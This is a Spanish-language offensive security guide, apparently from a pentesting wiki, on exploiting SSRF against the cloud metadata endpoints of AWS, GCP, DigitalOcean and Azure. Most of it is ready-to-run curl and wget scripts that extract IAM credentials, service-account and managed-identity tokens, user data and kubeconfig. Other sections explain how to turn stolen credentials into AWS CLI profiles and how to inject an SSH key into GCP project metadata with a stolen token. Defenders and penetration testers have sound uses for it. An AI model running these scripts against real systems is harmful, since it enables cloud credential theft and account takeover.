AWS
Abusando de SSRF en el entorno de AWS EC2
El endpoint de metadatos se puede acceder desde cualquier máquina EC2 y ofrece información interesante sobre ella. Es accesible en la url: http://169.254.169.254
(información sobre los metadatos aquí ).
Hay 2 versiones del endpoint de metadatos. La primera permite acceder al endpoint a través de solicitudes GET (por lo que cualquier SSRF puede explotarlo ). Para la versión 2 , IMDSv2 , necesitas solicitar un token enviando una solicitud PUT con un encabezado HTTP y luego usar ese token para acceder a los metadatos con otro encabezado HTTP (por lo que es más complicado de abusar con un SSRF).
Ten en cuenta que si la instancia EC2 está aplicando IMDSv2, según la documentación , la respuesta de la solicitud PUT tendrá un límite de salto de 1 , haciendo imposible acceder a los metadatos de EC2 desde un contenedor dentro de la instancia EC2.
Además, IMDSv2 también bloqueará las solicitudes para obtener un token que incluyan el encabezado X-Forwarded-For
. Esto es para evitar que proxies inversos mal configurados puedan acceder a él.
Puedes encontrar información sobre los endpoints de metadatos en la documentación . En el siguiente script se obtiene información interesante de él:
Copy EC2_TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null || wget -q -O - --method PUT "http://169.254.169.254/latest/api/token" --header "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null)
HEADER = "X-aws-ec2-metadata-token: $EC2_TOKEN"
URL = "http://169.254.169.254/latest/meta-data"
aws_req = ""
if [ "$( command -v curl )" ]; then
aws_req = "curl -s -f -H '$HEADER'"
elif [ "$( command -v wget )" ]; then
aws_req = "wget -q -O - -H '$HEADER'"
else
echo "Neither curl nor wget were found, I can't enumerate the metadata service :("
fi
printf "ami-id: " ; eval $aws_req "$URL/ami-id" ; echo ""
printf "instance-action: " ; eval $aws_req "$URL/instance-action" ; echo ""
printf "instance-id: " ; eval $aws_req "$URL/instance-id" ; echo ""
printf "instance-life-cycle: " ; eval $aws_req "$URL/instance-life-cycle" ; echo ""
printf "instance-type: " ; eval $aws_req "$URL/instance-type" ; echo ""
printf "region: " ; eval $aws_req "$URL/placement/region" ; echo ""
echo ""
echo "Account Info"
eval $aws_req "$URL/identity-credentials/ec2/info" ; echo ""
eval $aws_req "http://169.254.169.254/latest/dynamic/instance-identity/document" ; echo ""
echo ""
echo "Network Info"
for mac in $( eval $aws_req "$URL/network/interfaces/macs/" 2> /dev/null ); do
echo "Mac: $mac"
printf "Owner ID: " ; eval $aws_req "$URL/network/interfaces/macs/$mac/owner-id" ; echo ""
printf "Public Hostname: " ; eval $aws_req "$URL/network/interfaces/macs/$mac/public-hostname" ; echo ""
printf "Security Groups: " ; eval $aws_req "$URL/network/interfaces/macs/$mac/security-groups" ; echo ""
echo "Private IPv4s:" ; eval $aws_req "$URL/network/interfaces/macs/$mac/ipv4-associations/" ; echo ""
printf "Subnet IPv4: " ; eval $aws_req "$URL/network/interfaces/macs/$mac/subnet-ipv4-cidr-block" ; echo ""
echo "PrivateIPv6s:" ; eval $aws_req "$URL/network/interfaces/macs/$mac/ipv6s" ; echo ""
printf "Subnet IPv6: " ; eval $aws_req "$URL/network/interfaces/macs/$mac/subnet-ipv6-cidr-blocks" ; echo ""
echo "Public IPv4s:" ; eval $aws_req "$URL/network/interfaces/macs/$mac/public-ipv4s" ; echo ""
echo ""
done
echo ""
echo "IAM Role"
eval $aws_req "$URL/iam/info"
for role in $( eval $aws_req "$URL/iam/security-credentials/" 2> /dev/null ); do
echo "Role: $role"
eval $aws_req "$URL/iam/security-credentials/$role" ; echo ""
echo ""
done
echo ""
echo "User Data"
# Search hardcoded credentials
eval $aws_req "http://169.254.169.254/latest/user-data"
echo ""
echo "EC2 Security Credentials"
eval $aws_req "$URL/identity-credentials/ec2/security-credentials/ec2-instance" ; echo ""
Como un ejemplo expuesto de credenciales IAM disponibles públicamente , puedes visitar: http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws
También puedes verificar credenciales de seguridad EC2 públicas en: http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance
Luego puedes tomar esas credenciales y usarlas con el AWS CLI . Esto te permitirá hacer cualquier cosa que ese rol tenga permisos para hacer.
Para aprovechar las nuevas credenciales, necesitarás crear un nuevo perfil de AWS como este:
Copy [profilename]
aws_access_key_id = ASIA6GG71[...]
aws_secret_access_key = a5kssI2I4H/atUZOwBr5Vpggd9CxiT[...]
aws_session_token = AgoJb3JpZ2luX2VjEGcaCXVzLXdlc3QtMiJHMEUCIHgCnKJl8fwc+0iaa6n4FsgtWaIikf5mSSoMIWsUGMb1AiEAlOiY0zQ31XapsIjJwgEXhBIW3u/XOfZJTrvdNe4rbFwq2gMIYBAAGgw5NzU0MjYyNjIwMjkiDCvj4qbZSIiiBUtrIiq3A8IfXmTcebRDxJ9BGjNwLbOYDlbQYXBIegzliUez3P/fQxD3qDr+SNFg9w6WkgmDZtjei6YzOc/a9TWgIzCPQAWkn6BlXufS+zm4aVtcgvBKyu4F432AuT4Wuq7zrRc+42m3Z9InIM0BuJtzLkzzbBPfZAz81eSXumPdid6G/4v+o/VxI3OrayZVT2+fB34cKujEOnBwgEd6xUGUcFWb52+jlIbs8RzVIK/xHVoZvYpY6KlmLOakx/mOyz1tb0Z204NZPJ7rj9mHk+cX/G0BnYGIf8ZA2pyBdQyVbb1EzV0U+IPlI+nkIgYCrwTCXUOYbm66lj90frIYG0x2qI7HtaKKbRM5pcGkiYkUAUvA3LpUW6LVn365h0uIbYbVJqSAtjxUN9o0hbQD/W9Y6ZM0WoLSQhYt4jzZiWi00owZJjKHbBaQV6RFwn5mCD+OybS8Y1dn2lqqJgY2U78sONvhfewiohPNouW9IQ7nPln3G/dkucQARa/eM/AC1zxLu5nt7QY8R2x9FzmKYGLh6sBoNO1HXGzSQlDdQE17clcP+hrP/m49MW3nq/A7WHIczuzpn4zv3KICLPIw2uSc7QU6tAEln14bV0oHtHxqC6LBnfhx8yaD9C71j8XbDrfXOEwdOy2hdK0M/AJ3CVe/mtxf96Z6UpqVLPrsLrb1TYTEWCH7yleN0i9koRQDRnjntvRuLmH2ERWLtJFgRU2MWqDNCf2QHWn+j9tYNKQVVwHs3i8paEPyB45MLdFKJg6Ir+Xzl2ojb6qLGirjw8gPufeCM19VbpeLPliYeKsrkrnXWO0o9aImv8cvIzQ8aS1ihqOtkedkAsw=
Notice the aws_session_token , esto es indispensable para que el perfil funcione.
PACU se puede usar con las credenciales descubiertas para averiguar tus privilegios e intentar escalar privilegios.
SSRF en credenciales de AWS ECS (Servicio de Contenedores)
ECS es un grupo lógico de instancias de EC2 en el que puedes ejecutar una aplicación sin tener que escalar tu propia infraestructura de gestión de clústeres porque ECS gestiona eso por ti. Si logras comprometer un servicio que se ejecuta en ECS , los puntos finales de metadatos cambian .
Si accedes a http://169.254.170.2/v2/credentials/<GUID> encontrarás las credenciales de la máquina ECS. Pero primero necesitas encontrar el <GUID> . Para encontrar el <GUID> necesitas leer la variable environ AWS_CONTAINER_CREDENTIALS_RELATIVE_URI dentro de la máquina.
Podrías ser capaz de leerlo explotando un Path Traversal a file:///proc/self/environ
La dirección http mencionada debería darte la AccessKey, SecretKey y token .
Copy curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" 2>/dev/null || wget "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" -O -
Tenga en cuenta que en algunos casos podrá acceder a los metadatos de la instancia EC2 desde el contenedor (ver las limitaciones de TTL de IMDSv2 mencionadas anteriormente). En estos escenarios, desde el contenedor podría acceder tanto al rol IAM del contenedor como al rol IAM de EC2.
SSRF para AWS Lambda
En este caso, las credenciales se almacenan en variables de entorno . Por lo tanto, para acceder a ellas, necesita acceder a algo como file:///proc/self/environ
.
El nombre de las variables de entorno interesantes son:
Además, además de las credenciales de IAM, las funciones de Lambda también tienen datos de eventos que se pasan a la función cuando se inicia . Estos datos están disponibles para la función a través de la interfaz de tiempo de ejecución y podrían contener información sensible (como dentro de las stageVariables ). A diferencia de las credenciales de IAM, estos datos son accesibles a través de SSRF estándar en http://localhost:9001/2018-06-01/runtime/invocation/next
.
Tenga en cuenta que las credenciales de lambda están dentro de las variables de entorno . Por lo tanto, si el rastreo de pila del código lambda imprime variables de entorno, es posible exfiltrarlas provocando un error en la aplicación.
SSRF URL para AWS Elastic Beanstalk
Recuperamos el accountId
y region
de la API.
Copy http://169.254.169.254/latest/dynamic/instance-identity/document
http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role
Luego recuperamos el AccessKeyId
, SecretAccessKey
y Token
de la API.
Copy http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role
Luego usamos las credenciales con aws s3 ls s3://elasticbeanstalk-us-east-2-[ACCOUNT_ID]/
.
GCP
Puedes encontrar aquí la documentación sobre los endpoints de metadatos .
URL SSRF para Google Cloud
Requiere el encabezado HTTP Metadata-Flavor: Google
y puedes acceder al endpoint de metadatos con las siguientes URLs:
http://metadata.google.internal
Endpoints interesantes para extraer información:
Copy # /project
# Project name and number
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/project-id
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/numeric-project-id
# Project attributes
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/attributes/?recursive= true
# /oslogin
# users
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/users
# groups
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/groups
# security-keys
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/security-keys
# authorize
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/authorize
# /instance
# Description
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/description
# Hostname
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/hostname
# ID
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/id
# Image
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/image
# Machine Type
curl -s -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/machine-type
# Name
curl -s -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/name
# Tags
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/scheduling/tags
# Zone
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/zone
# User data
curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/attributes/startup-script"
# Network Interfaces
for iface in $(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/"); do
echo " IP: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/ip")
echo " Subnetmask: "$(curl -s -f -H "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/subnetmask")
echo " Gateway: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/gateway")
echo " DNS: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/dns-servers")
echo " Network: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/network")
echo " ============== "
done
# Service Accounts
for sa in $(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/"); do
echo " Name: $sa"
echo " Email: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}email")
echo " Aliases: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}aliases")
echo " Identity: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}identity")
echo " Scopes: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}scopes")
echo " Token: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}token")
echo " ============== "
done
# K8s Attributtes
## Cluster location
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/cluster-location
## Cluster name
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/cluster-name
## Os-login enabled
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/enable-oslogin
## Kube-env
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/kube-env
## Kube-labels
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/kube-labels
## Kubeconfig
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/kubeconfig
# All custom project attributes
curl "http://metadata.google.internal/computeMetadata/v1/project/attributes/?recursive=true&alt=text" \
-H "Metadata-Flavor: Google"
# All custom project attributes instance attributes
curl "http://metadata.google.internal/computeMetadata/v1/instance/attributes/?recursive=true&alt=text" \
-H "Metadata-Flavor: Google"
Beta NO requiere un encabezado en este momento (gracias Mathias Karlsson @avlidienbrunn)
Copy http://metadata.google.internal/computeMetadata/v1beta1/
http://metadata.google.internal/computeMetadata/v1beta1/?recursive=true
Para usar el token de cuenta de servicio exfiltrado solo puedes hacer:
Copy # Via env vars
export CLOUDSDK_AUTH_ACCESS_TOKEN =< token >
gcloud projects list
# Via setup
echo "<token>" > /some/path/to/token
gcloud config set auth/access_token_file /some/path/to/token
gcloud projects list
gcloud config unset auth/access_token_file
Agregar una clave SSH
Extraer el token
Copy http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token?alt=json
Verifica el alcance del token (con la salida anterior o ejecutando lo siguiente)
Copy curl https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=ya29.XXXXXKuXXXXXXXkGT0rJSA {
"issued_to" : "101302079XXXXX" ,
"audience" : "10130207XXXXX" ,
"scope": "https://www.googleapis.com/auth/compute https://www.googleapis.com/auth/logging.write https://www.googleapis.com/auth/devstorage.read_write https://www.googleapis.com/auth/monitoring",
"expires_in" : 2443,
"access_type" : "offline"
}
Ahora empuja la clave SSH.
Copy curl -X POST "https://www.googleapis.com/compute/v1/projects/1042377752888/setCommonInstanceMetadata"
-H "Authorization: Bearer ya29.c.EmKeBq9XI09_1HK1XXXXXXXXT0rJSA"
-H "Content-Type: application/json"
--data '{"items": [{"key": "sshkeyname", "value": "sshkeyvalue"}]}'
Cloud Functions
El endpoint de metadatos funciona igual que en las VMs, pero sin algunos endpoints:
Copy # /project
# Project name and number
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/project-id
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/numeric-project-id
# /instance
# ID
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/id
# Zone
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/zone
# Auto MTLS config
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/platform-security/auto-mtls-configuration
# Service Accounts
for sa in $(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/"); do
echo " Name: $sa"
echo " Email: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}email")
echo " Aliases: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}aliases")
echo " Identity: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}identity")
echo " Scopes: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}scopes")
echo " Token: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}token")
echo " ============== "
done
Digital Ocean
No hay cosas como AWS Roles o cuentas de servicio de GCP, así que no esperes encontrar credenciales de bot de metadatos
Documentación disponible en https://developers.digitalocean.com/documentation/metadata/
Copy curl http://169.254.169.254/metadata/v1/id
http://169.254.169.254/metadata/v1.json
http://169.254.169.254/metadata/v1/
http://169.254.169.254/metadata/v1/id
http://169.254.169.254/metadata/v1/user-data
http://169.254.169.254/metadata/v1/hostname
http://169.254.169.254/metadata/v1/region
http://169.254.169.254/metadata/v1/interfaces/public/0/ipv6/addressAll in one request:
curl http://169.254.169.254/metadata/v1.json | jq
Azure
Azure VM
Docs aquí .
Debe contener el encabezado Metadata: true
No debe contener un encabezado X-Forwarded-For
Bash PS
Copy HEADER = "Metadata:true"
URL = "http://169.254.169.254/metadata"
API_VERSION="2021-12-13" #https://learn.microsoft.com/en-us/azure/virtual-machines/instance-metadata-service?tabs=linux#supported-api-versions
echo "Instance details"
curl -s -f -H "$HEADER" "$URL/instance?api-version=$API_VERSION"
echo "Load Balancer details"
curl -s -f -H "$HEADER" "$URL/loadbalancer?api-version=$API_VERSION"
echo "Management Token"
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://management.azure.com/"
echo "Graph token"
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://graph.microsoft.com/"
echo "Vault token"
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://vault.azure.net/"
echo "Storage token"
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://storage.azure.com/"
Copy # Powershell
Invoke-RestMethod -Headers @{"Metadata"="true"} -Method GET -NoProxy -Uri "http://169.254.169.254/metadata/instance?api-version=2021-02-01" | ConvertTo-Json -Depth 64
## User data
$userData = Invoke- RestMethod -Headers @{"Metadata"="true"} -Method GET -Uri "http://169.254.169.254/metadata/instance/compute/userData?api-version=2021- 01-01&format=text"
[System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($userData))
# Paths
/metadata/instance?api-version =2017-04-02
/metadata/instance/network/interface/0/ipv4/ipAddress/0/publicIpAddress?api-version =2017-04-02 & format = text
/metadata/instance/compute/userData?api-version =2021-01-01 & format = text
Azure App Service
Desde el env puedes obtener los valores de IDENTITY_HEADER
y IDENTITY_ENDPOINT
. Que puedes usar para obtener un token para comunicarte con el servidor de metadatos.
La mayoría de las veces, deseas un token para uno de estos recursos:
Copy # Check for those env vars to know if you are in an Azure app
echo $IDENTITY_HEADER
echo $IDENTITY_ENDPOINT